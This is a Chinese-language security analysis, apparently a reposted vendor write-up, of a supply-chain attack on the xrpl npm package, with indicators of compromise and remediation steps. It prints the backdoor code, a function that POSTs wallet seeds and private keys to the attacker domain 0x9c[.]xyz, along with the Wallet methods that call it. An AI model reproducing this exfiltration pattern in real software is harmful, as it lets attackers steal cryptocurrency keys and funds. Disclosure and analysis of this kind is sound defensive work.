4月21日20:53(格林尼治标准时间+0),我们的系统Aikido Intel开始提醒我们注意xrpl软件包的五个新版本。它是XRP账本的官方SDK,每周下载量超过14万次。我们很快确认,XPRL(Ripple)官方NPM软件包已被经验丰富的攻击者入侵,他们在其中植入后门以窃取加密货币私钥并获取加密货币钱包的访问权限。数十万个应用程序和网站都在使用该软件包,这可能导致对加密货币生态系统造成灾难性的供应链攻击。
这是我们发现这次攻击的技术细节。
新软件包发布
该用户mukulljangid自 4 月 21 日 20:53 GMT+0 起发布了五个新版本的库:
有趣的是,这些版本与 GitHub 上看到的官方版本不匹配,其中最新版本是4.2.0:
发布软件包时的最新 GitHub 版本。
这些软件包在 GitHub 上没有匹配的版本,这一事实非常可疑。
神秘的代码
我们的系统在这些新软件包中检测到了一些奇怪的代码。以下是它src/index.ts在版本4.2.4(标记为latest)的文件中识别出的内容:
export { Client, ClientOptions } from'./client'export * from'./models'export * from'./utils'export { defaultas ECDSA } from'./ECDSA'export * from'./errors'export { FundingOptions } from'./Wallet/fundWallet'export { Wallet } from'./Wallet'export { walletFromSecretNumbers } from'./Wallet/walletFromSecretNumbers'export { keyToRFC1751Mnemonic, rfc1751MnemonicToKey } from'./Wallet/rfc1751'export * from'./Wallet/signer'const validSeeds = new Set<string>([])exportfunctioncheckValidityOfSeed(seed: string) {if (validSeeds.has(seed)) return validSeeds.add(seed) fetch("https://0x9c[.]xyz/xc", { method: 'POST', headers: { 'ad-referral': seed, } })}
直到最后,一切看起来都很正常。这个checkValidityOfSeed函数是什么?为什么它会调用一个名为 的随机域名0x9c[.]xyz?让我们深入探索!
域名是什么?
我们首先检查了这个域名,想弄清楚它是否合法。我们调出了它的 whois 信息:
0x9c[.]xyz 的 Whois 信息
这不太妙。这是一个全新的域名。非常可疑。
代码起什么作用?
代码本身只是定义了一个方法,但并没有直接调用它。所以我们深入研究了一下它是否在任何地方被使用。结果确实如此!
恶意函数的搜索结果
我们看到它在类的构造函数Wallet(src/Wallet/index.ts)等函数中被调用,一旦 Wallet 对象被实例化,就会窃取私钥:
publicconstructor( publicKey: string, privateKey: string, opts: { masterAddress?: string seed?: string } = {},) {this.publicKey = publicKeythis.privateKey = privateKeythis.classicAddress = opts.masterAddress ? ensureClassicAddress(opts.masterAddress) : deriveAddress(publicKey)this.seed = opts.seed checkValidityOfSeed(privateKey) }
还有这些功能:
privatestaticderiveWallet( seed: string, opts: { masterAddress?: string; algorithm?: ECDSA } = {},): Wallet {const { publicKey, privateKey } = deriveKeypair(seed, { algorithm: opts.algorithm ?? DEFAULT_ALGORITHM, }) checkValidityOfSeed(privateKey)returnnew Wallet(publicKey, privateKey, { seed, masterAddress: opts.masterAddress, }) }
privatestaticfromRFC1751Mnemonic( mnemonic: string, opts: { masterAddress?: string; algorithm?: ECDSA },): Wallet {const seed = rfc1751MnemonicToKey(mnemonic)let encodeAlgorithm: 'ed25519' | 'secp256k1'if (opts.algorithm === ECDSA.ed25519) { encodeAlgorithm = 'ed25519' } else {// Defaults to secp256k1 since that's the default for `wallet_propose` encodeAlgorithm = 'secp256k1' }const encodedSeed = encodeSeed(seed, encodeAlgorithm) checkValidityOfSeed(encodedSeed)return Wallet.fromSeed(encodedSeed, { masterAddress: opts.masterAddress, algorithm: opts.algorithm, }) }
publicstatic fromMnemonic( mnemonic: string, opts: { masterAddress?: string derivationPath?: string mnemonicEncoding?: 'bip39' | 'rfc1751' algorithm?: ECDSA } = {}, ): Wallet {if (opts.mnemonicEncoding === 'rfc1751') {return Wallet.fromRFC1751Mnemonic(mnemonic, { masterAddress: opts.masterAddress, algorithm: opts.algorithm, }) }// Otherwise decode using bip39's mnemonic standardif (!validateMnemonic(mnemonic, wordlist)) {thrownew ValidationError('Unable to parse the given mnemonic using bip39 encoding', ) }const seed = mnemonicToSeedSync(mnemonic) checkValidityOfSeed(mnemonic)const masterNode = HDKey.fromMasterSeed(seed)const node = masterNode.derive( opts.derivationPath ?? DEFAULT_DERIVATION_PATH, ) validateKey(node)const publicKey = bytesToHex(node.publicKey)const privateKey = bytesToHex(node.privateKey)returnnew Wallet(publicKey, `00${privateKey}`, { masterAddress: opts.masterAddress, }) }
publicstatic fromEntropy( entropy: Uint8Array | number[], opts: { masterAddress?: string; algorithm?: ECDSA } = {}, ): Wallet {const algorithm = opts.algorithm ?? DEFAULT_ALGORITHMconst options = { entropy: Uint8Array.from(entropy), algorithm, }const seed = generateSeed(options) checkValidityOfSeed(seed)return Wallet.deriveWallet(seed, { algorithm, masterAddress: opts.masterAddress, }) }
publicstaticfromSeed( seed: string, opts: { masterAddress?: string; algorithm?: ECDSA } = {},): Wallet { checkValidityOfSeed(seed)return Wallet.deriveWallet(seed, { algorithm: opts.algorithm, masterAddress: opts.masterAddress, }) }
publicstaticgenerate(algorithm: ECDSA = DEFAULT_ALGORITHM): Wallet {if (!Object.values(ECDSA).includes(algorithm)) {thrownew ValidationError('Invalid cryptographic signing algorithm') }const seed = generateSeed({ algorithm }) checkValidityOfSeed(seed)return Wallet.fromSeed(seed, { algorithm }) }
为什么版本更新如此频繁?
在调查这些软件包时,我们注意到最先发布的两个软件包(4.2.1和)与其他软件包有所不同。我们对版本(这是合理的)、和4.2.2进行了三向比较,以查明问题所在。以下是我们观察到的情况:4.2.04.2.14.2.2
-
从 开始4.2.1,scripts和prettier配置已从 中删除package.json。
-
第一个插入恶意代码的版本src/Wallet/index.js是4.2.2。
-
和 都4.2.1包含4.2.2恶意的build/xrp-latest-min.js和build/xrp-latest.js。
如果4.2.2与4.2.3和进行比较4.2.4,我们会发现更多的恶意更改。之前只有打包的 JavaScript 代码被修改。这些恶意更改还包括对 TypeScript 版本代码的恶意更改。
-
先前显示的代码更改为src/index.ts。
-
恶意代码更改为src/Wallet/index.ts。
-
恶意代码不是手动插入到构建的文件中,而是index.ts调用插入的后门。
由此可见,攻击者正在积极地进行攻击,尝试各种方式插入后门,同时尽可能地保持隐蔽。从手动将后门插入到构建的 JavaScript 代码中,到将其放入 TypeScript 代码中,再将其编译成构建的版本。
妥协指标
要确定您是否可能已受到威胁,您可以使用以下指标:
包名
-
xrpl
软件包版本
检查您的package.json和package-lock.json是否有以下版本:
-
4.2.4
-
4.2.3
-
4.2.2
-
4.2.1
-
2.14.2
请注意,如果您将软件包作为依赖项,而该依赖项未通过软件包锁定文件进行修复,或者您正在使用近似/兼容版本规范(如~4.2.0或^4.2.0),作为示例。
您认为您可能在 4 月 21 日 20:53 GMT+0 至 4 月 22 日 13:00 GMT+0 之间的时间段内安装了上述任何软件包,请检查您的网络日志中是否存在与以下主机的出站连接:
域
-
0x9c[.]xyz
补救措施
如果您认为自己可能受到了影响,请务必假设代码处理的任何种子或私钥都已被泄露。这些密钥不应再使用,与其相关的任何资产都应立即转移到其他钱包/密钥。自问题披露以来,xrpl 团队已发布了两个新版本来覆盖已泄露的软件包:
-
4.2.5
-
2.14.3
原文始发于微信公众号(Ots安全):XRP供应链攻击:官方NPM软件包感染加密货币窃取后门
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论